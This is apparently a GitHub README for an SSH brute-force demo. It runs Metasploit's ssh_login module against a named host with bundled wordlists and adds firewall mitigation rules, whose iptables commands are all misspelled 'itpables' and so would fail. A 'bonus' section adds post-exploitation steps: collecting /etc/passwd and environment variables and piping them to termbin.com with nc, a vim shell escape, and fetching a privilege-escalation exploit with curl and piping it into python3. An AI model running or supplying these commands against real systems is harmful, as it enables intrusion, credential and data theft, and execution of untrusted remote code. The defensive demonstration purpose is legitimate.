sillihkram/Bruteforcing-SSH

GitHub: sillihkram/Bruteforcing-SSH

基于 Metasploit 的 SSH 暴力破解攻防演示项目,展示字典攻击、权限提升及对应的防火墙防护配置。

Stars: 1 | Forks: 0

# SSH 暴力破解 ======== 这是一个针对 Linux 主机上的 SSH 进行漏洞利用的演示。在这个演示中,我们还将向你展示如何通过简单的 `iptables` 规则或在 firewalld 中创建 rich-rule 来降低此风险。额外部分:一旦获得 SSH 访问权限,就可以利用权限提升成为 root 用户。*注意* 本 README 和演示目前仍在开发中。 ## 下载字典文件 将项目克隆到你的本地系统: ``` git clone https://github.com/sillihkram/Bruteforcing-SSH.git cd Bruteforcing-SSH/ ``` 解压并准备好常用用户名和密码列表 ``` gunzip passwords.txt.gz cp passwords.txt /tmp/passwords.txt cp users.txt /tmp/users.txt ``` 为了让你更熟悉,请查看一下文件的内容和格式 ``` wc -l /tmp/passwords.txt # Notice this is a long list head /tmp/passwords.txt head /tmp/users.txt ``` # 安装 Metasploit (RHEL, Fedora, CentOS) 下载最新版本的 Metasploit Framework (OSS) ``` curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall ``` 设置权限 ``` chmod 755 msfinstall ``` 运行安装脚本 ``` ./msfinstall ``` 默认情况下,Metasploit framework 会将其安装到 `/opt/` 目录下,让我们看一下并将其添加到我们的 path 中 ``` ls /opt/ echo $PATH ``` 将 `/opt/metasploit-framework/bin/` 目录添加到我们的 path 中 ``` PATH=/opt/metasploit-framework/bin/:$PATH # 你可能希望将其设置为持久化,请将此行添加到你的 .bash_profile ``` 将 Metasploit 仓库添加到我们的系统并确保我们拥有最新版本。 ``` msfupdate ``` # 安装 Metasploit (Mac) 前置条件:你需要安装 home brew... https://brew.sh/ 安装 Metasploit: ``` brew install metasploit ``` # 使用 Metasploit 启动 metasploit framework 控制台 ``` msfconsole ``` 列出 metasploit 可用的 exploit 模块 ``` show exploits ``` 因为有超过 2000 个模块,所以搜索我们需要的那个可能会更有意义 ``` search ssh login ``` 在本演示中,选择 auxiliary/scanner/ssh/ssh_login exploit 模块 ``` use auxiliary/scanner/ssh/ssh_login ``` 列出此模块可用的选项 ``` options ``` 为 ssh_login 模块定义选项,以对目标主机发起暴力破解攻击 ``` set stop_on_success true set pass_file /tmp/passwords.txt set user_file /tmp/users.txt set threads 10 ``` 定义目标 ``` set rhost graffias.openincite.net ``` 发起暴力破解攻击 ``` exploit ``` 如果 Metasploit 使用列表中提供的用户名/密码成功通过身份验证,你将看到类似以下的消息: `[+] 192.168.0.136:22 - Success: 'podman:password'` Metasploit 不仅找到了一个可以成功通过身份验证的组合,还留下了一个打开的会话。列出打开的会话 ``` sessions ``` 要与打开的会话进行交互,请使用 sessions 命令:`sessions -i ` ``` sessions -i 1 ``` 现在你已经连接到了目标上的一个 shell。尝试输入一些基本的 shell 命令 ``` hostname -f uname -a ``` # 保护 SSH 免受暴力破解攻击 [RHEL 6] 确保已安装 iptables: ``` sudo yum install iptables -y ``` 在身份验证尝试次数过多后,向 iptables 添加一条简单的规则以丢弃暴力破解攻击 ``` itpables -P INPUT ACCEPT itpables -P FORWARD ACCEPT itpables -P OUTPUT ACCEPT itpables -N SSHBFATK itpables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name SSH --mask 255.255.255.255 --rsource itpables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 600 --hitcount 20 --name SSH --mask 255.255.255.255 --rsource -j SSHBFATK itpables -A SSHBFATK -m limit --limit 5/min -j LOG --log-prefix "SSH: Detect brute force atk! " --log-level 6 itpables -A SSHBFATK -j DROP ``` 还有一个 ansible playbook 可以用来创建上述 ~iptables~ firewalld rich rule。尝试下载它并在本地主机上运行它: ``` curl -LJO https://github.com/sillihkram/Bruteforcing-SSH/raw/main/mitigate-ssh-bruteforce.yaml ``` [RHEL7/8/9] 在现代的企业级 Linux 发行版中,firewalld 具有基于 rich_rules 过滤连接的能力 ``` sudo firewall-cmd --list-rich-rule sudo firewall-cmd --add-rich-rule='rule family="ipv4" service name="ssh" log prefix="SSH Bruteforce:" level="warning" limit value="6/m" accept limit value="2/m"' # block ssh after 6 attempts per min are made (IPV4). firewall-cmd --add-rich-rule='rule service name="ssh" log prefix="SSH Bruteforce:" level="warning" limit value="6/m" accept limit value="6/m"' # block ssh connection after 6 attempts per min are made (IPv4 & IPv6). sudo firewall-cmd --reload sudo firewall-cmd --list-rich-rule ``` 现在再次运行暴力破解 exploit 并观察其行为 ``` exploit ``` 注意,我们的 exploit 在每分钟仅尝试 6 次 SSH 后就被阻止了。😎 # 额外材料 ## 枚举主机 使用发现的凭证连接到目标 ``` ssh graffias.openincite.net -l podman id sudo -l -U podman ``` podman 似乎是一个非特权用户。让我们看看能找出关于这个系统的什么信息... ``` ls -lah $PWD firewall-cmd --list-ports >> $HOSTNAME.txt #This requires root printenv >> $HOSTNAME.txt cat /etc/passwd >> $HOSTNAME.txt yum list installed >> $HOSTNAME.txt ``` 让我们把我们收集到的信息拷贝下来 ``` cat $HOSTNAME.txt | nc termbin.com 9999 ``` ## 权限提升 使用 vim 隐藏我们的 shell ``` vim : ! /bin/bash -p ``` 运行已知的本地权限提升(LPE)exploit: ``` # copy-fail-CVE-2026-31431 curl https://copy.fail/exp | python3 && su - # dirty-frag-CVE-2026-43500 # git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp ```
标签:PE 加载器, PoC, 安全测试, 应用安全, 攻击性安全, 暴力破解, 系统提示词